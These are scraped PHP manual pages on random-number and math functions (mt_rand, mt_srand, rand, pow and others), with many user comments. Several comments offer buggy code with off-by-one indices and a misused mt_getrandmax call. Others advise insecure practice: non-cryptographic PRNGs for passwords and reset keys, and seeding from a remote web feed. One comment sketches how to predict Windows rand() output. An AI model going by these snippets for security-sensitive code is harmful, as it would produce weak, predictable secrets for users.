Be carefull with: $characters[mt_rand(0, count($characters))];

"If you want a random number between 5 and 15 (inclusive), for example, use mt_rand (5, 15)."

Array index are between 0 and n-1, but mt_rand generates a number between 0 and n!
James 16-Apr-2006 08:02
The Developers Resources article mentioned above should be removed as that site has be down for years. The same article by Gregory Boshoff is available at http://www.phpfive.net/article2.htm
fahri at konse dot de 08-Oct-2005 06:12
i did the following, to generate a few random-numbers out of a total amount of numbers, but to create different random-numbers and not double or tripple.
for example i use it to generate 10 random-pics out of 150, and do shurely generate not twice the same...

<?php
$total =  6; // available numbers (of pictures)
$randanzahl = 6; //number of random-number to generate out of $total

function checkifdouble($ran,$i) {
        for($j=1; $j<$i; $j++) {
                if($ran[$j]==$ran[$i]) {
                        $ergebnis="true";
                        break;
                } //endif
                else {
                        $ergebnis="false";
                } //endelse
        } //endfor
return $ergebnis;
}

for ($i=1; $i<=$randanzahl; $i++) {
       $ran[$i] = mt_rand(1, $total);
       if ($i>1) {
               while(checkifdouble($ran,$i)=="true") {
                       $ran[$i] = mt_rand(1, $total);
                       $v=checkifdouble($ran,$i);
                       echo($v);
               } //endif
       }
       echo($ran[$i]."<br>");

} //enfor
?>

this version is easily for debugging and adaption!
maybe there is a very shorter version...
frans-jan at van-steenbeek dot net 03-Oct-2005 04:18
My try at generating a reasonably secure password:

<?php
 function keygen() {
  $tempstring =
  "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
  PQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABC
  DEFGHIJKLMNOPQRSTUVWXYZ!?@#$%&*[]{}();:,<>~+=-_
  /|\\";
  for($length = 0; $length < mt_rand(10, 15); $length++) {
   $temp = str_shuffle($tempstring);
   $char = mt_rand(0, strlen($temp));
   $pass .= $temp[$char];
  }
  return $pass;
 }
 echo(keygen());
 echo("\n");
?>

This generates a password of an undefined length (in this case, 10 to 15 chars) consisting of numbers, UPPERCASE letters lowercase letters and a set of signs. I have doubled the chance of number and letters to reduce the confusion with my users.
sean at codeaholics dot com 22-Jul-2005 03:31
You really shouldn't generate a number to determine the _type_ of the char, then the char itself.  If security is an issue for you, and you want to maintain as much entropy as possible, you should use a function similar to the one below.  Since this seems to be getting repeated over-and-over, I explained (beat into the ground?) the issue on http://www.codeaholics.com/randomCode.php

The code:
<?php
////
// Returns a random code of the specified length, containing characters that are
// equally likely to be any of the digits, uppercase letters, or  lowercase letters.
//
// The default length of 10 provides 839299365868340224 (62^10) possible codes.
//
// NOTE: Do not call wt_srand().  It is handled automatically in PHP 4.2.0 and above
//       and any additional calls are likely to DECREASE the randomness.
////
function randomCode($length=10){
    $retVal = "";
    while(strlen($retVal) < $length){
        $nextChar = mt_rand(0, 61); // 10 digits + 26 uppercase + 26 lowercase = 62 chars
        if(($nextChar >=10) && ($nextChar < 36)){ // uppercase letters
            $nextChar -= 10; // bases the number at 0 instead of 10
            $nextChar = chr($nextChar + 65); // ord('A') == 65
        } else if($nextChar >= 36){ // lowercase letters
            $nextChar -= 36; // bases the number at 0 instead of 36
            $nextChar = chr($nextChar + 97); // ord('a') == 97
        } else { // 0-9
            $nextChar = chr($nextChar + 48); // ord('0') == 48
        }
        $retVal .= $nextChar;
    }
    return $retVal;
}
?>
mina86 at nospam dot projektcode dot org 25-May-2005 02:00
Re: solenoid at hotmail dot united dot kingdom

In theory method shown by selenoid can lead to infinite loop. The correct method would be:

<?php
$randomNumbers = array();
for ($i = 0; i<30; ++$i) $randomNumbers[] = $i;
shuffle($randomNumbers);
for ($i = 20; $i<30; ++$i) unset($randomNumbers[$i]);
$randomNumbers = array_values($randomNumbers);
?>

The last two lines may be in some cases removed.
nowhere at where dot net 16-Apr-2005 11:46
Allows characters 0-9, a-z
Weighted (and tested) ok.

<?php
function generate_string ($length = 20)
{
    $nps = "";
    for($i=0;$i<$length;$i++)
    {
        $nps .= chr( (mt_rand(1, 36) <= 26) ? mt_rand(97, 122) : mt_rand(48, 57 ));
    }
    return $nps;
}
?>
mskala at ansuz dot sooke dot bc dot ca 24-Jan-2005 12:47
Running the output of Mersenne Twister through an unkeyed secure hash is NOT a good way to make it secure, because it'll still have a relatively small internal state which, if recovered, would allow reproduction of the keystream.  A better idea would be to encrypt the output with a keyed encryption algorithm - but if you were going to do that, you wouldn't need a psuedorandom number generator at all, because a counter would be just as good.
11-Feb-2004 02:27
Here is a example of a very small, compact, quite random-random string generator. It will make a string with uppercase & lowercase letters, with numbers. You simply need to set $len in the for() structure, and then the string will be in $r.  It has been designed for size, while it's still quite fast.  Mind the wrapping, it should be 1 line.

<?php
for($len=8,$r='';strlen($r)<$len;$r.=chr(!mt_rand(0,2)?
mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand
(97,122))));
?>

Armond Carroll
tmx at ntlworld dot com 06-Dec-2003 10:26
When using this function, it doesn't matter which order the numbers go in.

      mt_rand(16,5)

works just as well as

      mt_rand(5,16)

Which can be useful if you are pulling values from a database, that could be negative or positive.

      mtrand(0,$anyinteger)

Hope this helps someone
jsheets at shadonet dot com 04-Jun-2003 10:49
The following function will create a random base64 encoded key, this is very useful for password reset schemes or anything where you want a random string.  To compare the string either compare the base64 encoded value or base64_decode it and compare that.

I do not use md5 because md5 results in only 1-9 and a-f in the string or 32^16 possibilities, by using the extended ASCII table and shuffling the array I am able to get a minimum of 32^127 possibilities with a 32 character string, using a longer string will make your value harder to guess still. A lot of machiens will have 32^255 possibilities in a decoded string.

<?php
function MakeResetKey($min_length = 32, $max_length = 64)
{
   $key = '';

   // build range and shuffle range using ASCII table
   for ($i=0; $i<=255; $i++) {
      $range[] = chr($i);
   }

   // shuffle our range 3 times
   for ($i=0; $i<=3; $i++) {
      shuffle($range);
   }

      // loop for random number generation
   for ($i = 0; $i < mt_rand($min_length, $max_length); $i++) {
      $key .= $range[mt_rand(0, count($range))];
   }

   $return = base64_encode($key);

   if (!empty($return)) {
      return $return;
   } else {
      return 0;
   }
}
?>
demogracia at metropoliglobal dot com 02-Mar-2002 09:38
<?php
//
// Generates a random string with the specified length
// Chars are chosen from the provided [optional] list
//
function simpleRandString($length=16, $list="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"){
    mt_srand((double)microtime()*1000000);
    $newstring="";

    if($length>0){
        while(strlen($newstring)<$length){
            $newstring.=$list[mt_rand(0, strlen($list)-1)];
        }
    }
    return $newstring;
}

//
// Generates a random string with the specified length
// Includes: a-z, A-Z y 0-9
//
function randString($length=16) {
   $newstring="";
   if($length>0) {
       while(strlen($newstring)<$length) {
           $randnum = mt_rand(0,61);
           if ($randnum < 10) {
               $newstring.=chr($randnum+48);
           } elseif ($randnum < 36) {
               $newstring.=chr($randnum+55);
           } else {
               $newstring.=chr($randnum+61);
           }
       }
   }
   return $newstring;
}
?>
mrdlinux at yahoo dot com 21-Jul-2000 07:02
And for those who prefer scaling:

mt_rand() / RAND_MAX * (Max - Min) + Min;


Seed the better random number generator

  • Â« mt_rand
  • octdec Â»
  • PHP Manual
  • Math Functions
  • Seed the better random number generator

mt_srand

(PHP 4, PHP 5)

mt_srand — Seed the better random number generator

Description

void mt_srand ([ int $seed ] )

Seeds the random number generator with seed or with a random value if no seed is given.

Note: As of PHP 4.2.0, there is no need to seed the random number generator with srand() or mt_srand() as this is now done automatically.

Parameters

seed

An optional seed value

Return Values

No value is returned.

Changelog

Version | Description
5.2.1 | The Mersenne Twister implementation in PHP now uses a new seeding algorithm by Richard Wagner. Identical seeds no longer produce the same sequence of values they did in previous versions. This behavior is not expected to change again, but it is considered unsafe to rely upon it nonetheless.

Examples

Example #1 mt_srand() example

<?php
// seed with microseconds
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>

See Also

  • mt_rand() - Generate a better random value
  • mt_getrandmax() - Show largest possible random value
  • srand() - Seed the random number generator

User Contributed Notes

Nibbels / downfight.de 04-Jun-2014 06:53
If you are new with seeding read my note.

I now understood seeding as a start-state of an algorithm. This algorithm generates a series of -following- pseudorandom numbers.
If you start generating from the same startvalue twice, you get the same series of random numbers twice in a row.

mt_srand(10); //start of your algorithm equals seeding set to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

echo "<BR>";

mt_srand(10); //start of your algorithm equals seeding set back to 10
for($i=0;$i<10;$i++){
    echo mt_rand();
}

Output is like:
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200
<BR>
502355954641584702211262118810740890731360749216120791137454651988317865160461082451610903986200

My conclusion: Don't preset your seed to the same number all the time if you want "alternating random numbers"

Greetings
simon at labs dot coop 25-Dec-2013 06:19
I canâ€™t stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didnâ€™t seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
php dot net-comment at lucb1e dot com 25-Dec-2013 09:20
@  fasaxc at yahoo dot com:

If you want truly random numbers, use a truly random source. Your system is rather unwieldy when you can simply call openssl_random_pseudo_bytes() for good randomness. Don't use microtime as a source of randomness.
simon at labs dot coop 06-Oct-2013 04:40
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

mt_srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
josh at joshstrike dot com 25-Oct-2011 03:29
mt_srand effectively performs a modulo % 2147483648 on positive integers over 32 bits, but with negative integers it instead adds 2147483648 to the value it gets.

Seeds with equal results:
2147483649 == 1
2147483648 == 0
2147483647 == -1
-2147483646 == 2
-2147483647 == 1
-2147483648 == 0

Importantly though, seeding with anything less than -2147483648 will always yield the same result as seeding with zero.
limo at anime42 dot com 14-Apr-2010 04:33
I have spent the last couple of hours trying to track down a bug which affects mt_rand/rand and mt_srand/mt_rand.

OS is Debian 5.0.4 "Lenny".
PHP version is 5.3.2-0.dotdeb.1 with Suhosin-Patch (cli) (built: Mar  9 2010 11:42:01).

I have tried to fix the issue by appending the following lines into the .htaccess / apache2 main config file:

        php_value suhosin.mt_srand.ignore Off
        php_value suhosin.srand.ignore Off

This has helped a bit, stabilizing the beggining of the pseudo random number sequence, but the generator still fails after a fair number of iterations (roughly around 1K~3K.

*** Removing the Suhosin extension has resolved this issue, I am waiting for an official extension build that will work with 5.3.x so that I can reattach it into the php configuration. ***

Here is the code which ought to replicate the problem:

    $len = 100000;
    $min = 0;
    $max = 99;

    $t = (int)(microtime(true)*0xFFFF);

    $a = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $a[$i] = rand( $min, $max );

    $b = array();
    srand( $t );

    for ( $i = 0; $i < $len; $i ++ )
        $b[$i] = rand( $min, $max );

    for ( $i = 0; $i < $len; $i ++ )
        if ( $a[$i] !== $b[$i] )
            die( 'Pseudo-random sequence borked at #'.$i.'th iteration!');

    echo 'Your pseudo-random sequencer is working correctly.';
    exit( 0 );
dev at 10e12 dot net 23-Mar-2010 01:44
Sorry for the error in the previous...
Due to the glitch with the wordwrap I got annoyed and lost focus on the copy and paste move.

The last part of the actual function should read.

<?php
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_rand();
    }else{
        return mt_rand($retMin,$retMax);
    }

?>

And Nothing else of course...
dev at 10e12 dot net 23-Mar-2010 12:56
What about this for an example...

(sorry for the funky line breaks but I have once
more reported the bug on this issue of word
wrapping to no avail)

Intending to use it in passing a "semi-guaranteed"
properly seeded random number to a client, then to
capture input from the user which must be encrypted
client side before being sent to the server again
  a) during the same session and,
  b) within a set time limit.

for more reading also see:
  AES Rijndael enc/dec routines for javaScript
  developed and tested by Herbert Hanewinkel,
  http://www.hanewin.net/encrypt/aes/aes.htm

<?php
/*
calling the function, prepping the data to send to
the client... , who then uses it in a javascript
implementation of AES Encrypt.
*/

function SHA256($str, $keyval=""){
    if ($keyval!==""){//not null or empty
        $sHash = mhash(Constant('MHASH_SHA256'),$str, $keyval);
    }else{
        $sHash = mhash(Constant('MHASH_SHA256'),$str);
    }
    // same as Binary 2 Hex conversion
    return implode(unpack('H*',$sHash),'');
}

/*---------------------------------------------------
Radomizing the random data with fixed data for
the user and location If return value maximum
is set to zero (0) the function uses mt_getrandmax
If both retMin and retMax is zero (0) the function
uses mt_rand w.o. limits
*----------------------------------------------------*/
function local_prgn($retMin = 0, $retMax = 0){
// first get the session id of the request session
  $sSrv = session_id();

// the following is valid only on the current server
  $sSrv = implode(unpack($_SERVER['SERVER_NAME'].
             $_SERVER['SERVER_ADDR'].$sSrv),'');

// the following applies only to the requesting client
  $sReq = implode(unpack($_SERVER['REMOTE_ADDR'].
             $_SERVER['REQUEST_TIME']),'');

// get a SHA256 seed based on the current values
  $sSeed = SHA256($sSrv,$sReq);

// get a random value based on the uniqueness of the seed above
    mt_srand($sSeed); // seed the random num gen

// some error handling and checking
    if ($retMin > $retMax){
    // swap vars if wrong order
        $rx = $retMax; $retMax = $retMin; $retMin = $rx;

    } else if ($retMin == $retMax){
    //meaningless range, not very random
    //ensure for next check in this range
        $retMin = 0; $retMax = 0;
    }
// select what we need to return
    if ((($retMax == 0)&&($retMax = mt_getrandmax))||
($retMin==$retMax)){
        return mt_getrandmax();
    }else{
        return mt_getrandmax($retMin,$retMax);
    }
}

?>
Alderin1 at gmail dot com 20-Nov-2007 07:55
I think Joe was a little confused by the wording.  The note meant that implementations of mt_rand() before the change would generate a different set of pseudorandom numbers than would implementations of mt_rand() after the change for the same seed.

That's how it reads for me, anyway.
Kapr 14-Jun-2007 07:25
To slonmron:
Seed for random numbers generator should be initialized only once, before calling proper rand function. After that you give pseudorandom sequence by multiple calling rand. Initialization of random seed is used if 1) You have better source of random seed than implemented algorithm or 2) if You need always the same sequence of pseudorandom numbers. Example given by You shows only that first rand result strongly depends on seed, what is by definition. It is not a bug.
slonmron_no_spam_please_ at yahoo dot com 16-Mar-2007 08:44
Looks like mt_rand() gives same result for different seeds when the lowest bits are different only. Try this:

#!/usr/bin/php -q
<?php

$min = -17;
$max = $min + 48; // 48 is to fit the results in my console

for ($testseed=$min; $testseed<$max; $testseed++)
{
    mt_srand( $testseed );
    $r = mt_rand();
    printf("mt_srand( 0x%08x ): mt_rand() == 0x%08x == %d\n", $testseed, $r, $r);
}

?>

This is a snapshop of the results:
...
mt_srand( 0xfffffffc ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffd ): mt_rand() == 0x0a223d97 == 170016151
mt_srand( 0xfffffffe ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0xffffffff ): mt_rand() == 0x350a9509 == 889885961
mt_srand( 0x00000000 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000001 ): mt_rand() == 0x71228443 == 1898087491
mt_srand( 0x00000002 ): mt_rand() == 0x4e0a2cdd == 1309289693
mt_srand( 0x00000003 ): mt_rand() == 0x4e0a2cdd == 1309289693
...

I found this occationally. I have no idea if it is a bug or not. In my real life I do not intend to use sequentional seeds. However, probably this may be important for somebody.
oxai NOSPAM post dot htnet dot hr 09-Sep-2006 08:14
try this instead(!):

<?php

// randomizes MT's seed once per process.

function randomizeProcessSeed()
{
    static $thisProcessHasBeenInitialized;

    if( $thisProcessHasBeenInitialized ) return;

    list($usec, $sec) = explode(' ', microtime());
    mt_srand( (10000000000 * (float)$usec) ^ (float)$sec );

    $thisProcessHasBeenInitialized = true;
} randomizeProcessSeed();
?>
gigs 12-Jan-2006 08:13
used the little script from mrcheezy at hotmail dot com and got much better results using

mt_srand(crc32(microtime()));
vbassassin at coderheaven dot com 01-Dec-2005 05:57
"Better still: Use a 31-bit hash of microtime() as the seed. "

Correct me if i am wrong, but woudlnt using microtime() still limit the total seeds to 1,000,000 again? Since the 31-bit hash will always give the same hash for the same number, and in the microtime() function you could have 1,000,000 or less numbers. So in effect your still no better off at all :-p

Best regards,
scott

PS: I actually agree that PHP has pretty much resolved the issue and got as close as anyones going to get to solving the seeding issue by introducing the "Mersenne Twister" algorithm which creates a much larger pool than 1,000,000 numbers. Just because the mt_srand() function exists doesnt mean you HAVE to use it ;-) use it if you NEED a specific list of the same numbers (comes in handy for encryptions with passwords ;-)
12-Sep-2005 03:03
It's better to use the following method instead of the one in the documentation metioned:

<?php
mt_srand((double)(microtime() ^ posix_getpid()));
?>

Otherwise people requesting the script at the same time could get the same generated number.
fasaxc at yahoo dot co dot uk 25-Jul-2003 05:01
In fact, here's an even better function than the one below assuming your install provides a random entropy daemon and you're running *nix (to check for the former type "head -c 6 /dev/urandom" on the command line if available - if you get 6 random characters you're set). N.B. php must be able to find the head program so it must be in your path and allowed if you're running safe mode.

The functions db_set_global() and db_get_global() I use to set/get a variable from a central database but you could save/restore the variable from a file instead or just use the function get_random_word().

<?

####################################
## returns a random 32bit integer.
## Passing a parameter of True gives a better random
## number but relies on the /dev/random device
## which can block for a long time while it gathers
## enough random data ie. DONT USE IT unless
##   a) You have an entropy generator attatched to
## your computer set to /dev/random -OR-
##   b) Your script is running locally and generating
## a good random number is very important
####################################
function get_random_word($force_random=False) {
    if ($force_random) {
        $u='';
    } else {
        $u='u';
    }
    $ran_string=shell_exec("head -c 4 /dev/{$u}random");
    $random=ord(substr($ran_string,0,1))<<24 |
            ord(substr($ran_string,1,1))<<16 |
            ord(substr($ran_string,2,1))<<8 |
            ord(substr($ran_string,3,1));
    return $random;
}

--EITHER - IF YOU'VE SET UP A DATABASE OF GLOBAL VARIABLES--

## If the seed is found in the database
if ($seed=db_get_global('seed')) {
    # use mt_rand() to get the next seed
    mt_srand($seed);
    # then XOR that with a random word
    $seed=(mt_rand() ^ get_random_word());
} else {
## Make a completely new seed (First Run)
    # Generate the seed as a proper random no using /dev/random
    $seed=get_random_word(True);
    mt_srand($seed);
}

db_set_global('seed',$seed);

--OR JUST--
mt_srand(get_random_word());

?>
fasaxc at yahoo dot com 18-Jul-2003 01:14
The best way to ensure a random seed is to do the following:
To start:
   1) get your initial seed with mt_srand(microtime() * 1000000)
   2) generate a random no. $random=mt_rand()
   3) save this number in a file (or database or whatever so that it is available next time the page is loaded)

 Now, for each time your script is loaded :
   1) load the value you saved above and do $new_seed=($random+(microtime() * 1000000))%pow(2,32)
   2) mt_srand($new_seed);
   3) generate a new random no. $random=mt_rand()
   4) save that number back in the file/database

This procedure takes advantage not only of the randomness of microtime() but of all the previous calls to microtime() so your seed becomes better and better with time. It also generates good seeds even on platforms where microtime() doesn't take all the values it can.

Just using microtime() * 1000000 only results in 1000000 possible seeds (and less on some platforms as noted) - the function above gives 2^32 seeds with an avelanche effect accross multiple executions.
mrcheezy at hotmail dot com 17-Feb-2003 11:14
Very good points above on seeds, thank you. If you would like to test a seed try using the code below. It will take between 5 and 20 seconds depending on your system and then will spit out the number of reused keys out of 100,000 attempts.

;  for ($i=0; $i<100000; $i++) {
;    mt_srand(hexdec(substr(md5(microtime()), -8)) & 0x7fffffff);
;    $rand = mt_rand();
;
;    ($arr[$rand] == '1') ? $k++ : $arr[$rand] = '1';
;  }
ghaecker_no_spam at idworld dot net 21-Sep-2002 10:20
The range of unique seeds using this method is a bit over 2 billion.  This approach also prevents re-seeding.

function seed_mt_rand() {
  static $done;
  if (!$done) {
    $hash = md5(microtime());
    $length = ((substr($hash,0,1) < '8') ? 8 : 7 );
    mt_srand((int)base_convert(substr($hash,0,$length),16,10));
    $done = TRUE;
  }
}
maxim at php dot net 13-Jun-2002 11:57
to : l_rossato@libero.it

doing ...

list($usec,$sec)=explode(" ",microtime());
$unique = mt_srand($sec * $usec);

theoretiaclly, makes just as much sense as

list($usec,$sec)=explode(" ",microtime());
$unique = $usec + 0;

Once every while, depending on the microsecond resolution of your computer, the millisecond value will be a zero (0), and as I hope you know, in mathematics, any number multiplied by a zero becomes a zero itself.

(x * 0 = 0)

In real life, on a good machine, with a resolution to 1 million miliseconds per each second (i.e: Win2k server), you will be reduplicating your unique ID each million's ID issued. This means if you use it as your cookie encryption algorithm or a visitor ID, you will not exceed some million instances.

Futhermore, if that would be for a software development that you re-distribuite, installed on some weird old PC, where resolution can be as small as 100 milliseconds per second - a code with this uniqueness algorithm just wouldn't last any long.

Good Luck,

Maxim Maletsky
maxim@php.net

PHPBeginner.com
changminyang at hananet dot net 20-Feb-2002 11:00
list($usec,$sec) = explode(" ",microtime());

/* Test: Each get rand sequence are 10time. */
/* ex) 5.3point meaning 5point integer + 3point decimal */

// case A:
// 5.0point - 1time
// 6.0point - 9time
$rand = (double)microtime()*1000000;

// case B:
// 8.6point - 1time
// 9.4point - 1time
// 9.5point - 7time
// 10.3point - 1time
$rand = (double)$sec * $usec;

// My case A:
// 8.0point - 10time
$rand = explode(".",$usec * $sec);
$rand = (double)substr($rand[0]*$rand[1],0,8);

// My case B:
// 9.0point - 9time
// 10.0point - 1time
$rand = explode(".",$usec * $sec);
$rand = $rand[0] + $rand[1];

mt_srand($rand);
srand($rand);

// P.S> My previous note is has wrong lines, sorry about it.  This is right.


Octal to decimal

  • « mt_srand
  • pi »
  • PHP Manual
  • Math Functions
  • Octal to decimal

octdec

(PHP 4, PHP 5)

octdec — Octal to decimal

Description

number octdec ( string $octal_string )

Returns the decimal equivalent of the octal number represented by the octal_string argument.

Parameters

octal_string

The octal string to convert

Return Values

The decimal representation of octal_string

Examples

Example #1 octdec() example

<?php
echo octdec('77') . "\n";
echo octdec(decoct(45));
?>

The above example will output:

63
45

Notes

Note:

The function can convert numbers that are too large to fit into the platforms integer type, larger values are returned as float in that case.

See Also

  • decoct() - Decimal to octal
  • bindec() - Binary to decimal
  • hexdec() - Hexadecimal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

contato at andersonfraga dot net 18-Aug-2008 10:30
Number is octal?

Simple and easy:

<?php

function is_octal($x) {
    return decoct(octdec($x)) == $x;
}

echo is_octal(077); // true
echo is_octal(195); // false

?>

Thanks
[]'s
harry at disgruntledgoat dot com 27-Mar-2007 12:03
Calling the sticky bit "text" is not erroneous: On UNIX back in 1974, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeded subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory.
11-Sep-2002 10:51
The 'S' flag for Unix file access rights is badly computed in the above sample.
If the corresponding 'x' bit (exec) is not set, and the 's' bit (setgid/setuid/sticky) is set, then the flag should not be displayed as and uppercase 'S', but as a lower case 's'. Also the sticky bit (mainly used for folders with public right access rights such as /tmp to protect against deletion by non owner) is badly named ("text"?).


Get value of pi

  • « octdec
  • pow »
  • PHP Manual
  • Math Functions
  • Get value of pi

pi

(PHP 4, PHP 5)

pi — Get value of pi

Description

float pi ( void )

Returns an approximation of pi. The returned float has a precision based on the precision directive in php.ini, which defaults to 14. Also, you can use the M_PI constant which yields identical results to pi().

Return Values

The value of pi as float.

Examples

Example #1 pi() example

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

User Contributed Notes

davidduke at hotmail dot com 28-Mar-2004 03:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)


Exponential expression

  • « pi
  • rad2deg »
  • PHP Manual
  • Math Functions
  • Exponential expression

pow

(PHP 4, PHP 5)

pow — Exponential expression

Description

number pow ( number $base , number $exp )

Returns base raised to the power of exp.

Note:

In PHP 5.6 onwards, you may prefer to use the ** operator.

Parameters

base

The base to use

exp

The exponent

Return Values

base raised to the power of exp. If both arguments are non-negative integers and the result can be represented as an integer, the result will be returned with integer type, otherwise it will be returned as a float.

Examples

Example #1 Some examples of pow()

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1

echo pow(-1, 5.5); // PHP >4.0.6  NAN
echo pow(-1, 5.5); // PHP <=4.0.6 1.#IND
?>

Notes

Note:

This function will convert all input to a number, even non-scalar values, which could lead to weird results.

See Also

  • exp() - Calculates the exponent of e
  • sqrt() - Square root
  • bcpow() - Raise an arbitrary precision number to another
  • gmp_pow() - Raise number into power

User Contributed Notes

scott at arciszewski dot me 15-Feb-2014 12:24
As of PHP 5.6.0alpha2, there is now an exponentiation operator. If this is kept in the final release, it may be worth noting here.

<?php
// These two will be equivalent as of PHP 5.6.0
$x = $y ** 2;
$x = pow($y, 2);
?>
chris at ocportal dot com 22-May-2012 01:05
Many notations use "^" as a power operator, but in PHP (and other C-based languages) that is actually the XOR operator. You need to use this 'pow' function, there is no power operator.

i.e. 3^2 means "3 XOR 2" not "3 squared".

It is particular confusing as when doing Pythagoras theorem in a 'closet points' algorithm using "^" you get results that look vaguely correct but with an error.
gilthansREMOVEME at gmail dot com 15-Dec-2006 04:50
Note that pow(0, 0) equals to 1 although mathematically this is undefined.


Converts the radian number to the equivalent number in degrees

  • « pow
  • rand »
  • PHP Manual
  • Math Functions
  • Converts the radian number to the equivalent number in degrees

rad2deg

(PHP 4, PHP 5)

rad2deg — Converts the radian number to the equivalent number in degrees

Description

float rad2deg ( float $number )

This function converts number from radian to degrees.

Parameters

number

A radian value

Return Values

The equivalent of number in degrees

Examples

Example #1 rad2deg() example

<?php

echo rad2deg(M_PI_4); // 45

?>

See Also

  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

money1109 at gmail dot com 15-May-2008 12:59
Conversion between grads and degrees

function gon2deg($gon) {
    return ($gon / 400) * 360;
}

function deg2gon($deg) {
    return ($deg / 360) * 400;
}
15-Dec-2004 07:22
Definition

<?
function rad2deg($arg) {
 return $arg*180/pi();
}
?>


Generate a random integer

  • « rad2deg
  • round »
  • PHP Manual
  • Math Functions
  • Generate a random integer

rand

(PHP 4, PHP 5)

rand — Generate a random integer

Description

int rand ( void )
int rand ( int $min , int $max )

If called without the optional min, max arguments rand() returns a pseudo-random integer between 0 and getrandmax(). If you want a random number between 5 and 15 (inclusive), for example, use rand(5, 15).

Note: On some platforms (such as Windows), getrandmax() is only 32767. If you require a range larger than 32767, specifying min and max will allow you to create a range larger than this, or consider using mt_rand() instead.

Parameters

min

The lowest value to return (default: 0)

max

The highest value to return (default: getrandmax())

Return Values

A pseudo random value between min (or 0) and max (or getrandmax(), inclusive).

Examples

Example #1 rand() example

<?php
echo rand() . "\n";
echo rand() . "\n";

echo rand(5, 15);
?>

The above example will output something similar to:

7771
22264
11

Notes

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using openssl_random_pseudo_bytes() instead.

See Also

  • srand() - Seed the random number generator
  • getrandmax() - Show largest possible random value
  • mt_rand() - Generate a better random value
  • openssl_random_pseudo_bytes() - Generate a pseudo-random string of bytes

User Contributed Notes

simon at labs dot coop 06-Oct-2013 04:41
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
matheus at matheusloureiro dot com 02-Feb-2013 02:40
If you are looking for generate a random expression, like password with alphanumeric or any other character, use this function:

<?php
function GeraHash($qtd){
//Under the string $Caracteres you write all the characters you want to be used to randomly generate the code.
$Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789';
$QuantidadeCaracteres = strlen($Caracteres);
$QuantidadeCaracteres--;

$Hash=NULL;
    for($x=1;$x<=$qtd;$x++){
        $Posicao = rand(0,$QuantidadeCaracteres);
        $Hash .= substr($Caracteres,$Posicao,1);
    }

return $Hash;
}

//Here you specify how many characters the returning string must have
echo GeraHash(30);
?>
Hayley Watson 30-Jan-2013 07:51
The Windows rand() function is quite a lot worse than merely having a low maximum value. It's an ordinary Linear Congruential Generator, which means you only need three consecutive values to be able to predict its entire future output.

Given the numbers 13050,  4267,  25352, construct the equations
4267 = (13050a+c) % 32768
25352 = (4267a+c) % 32768

Solving for a and c gives

a = 20077
c = 12345

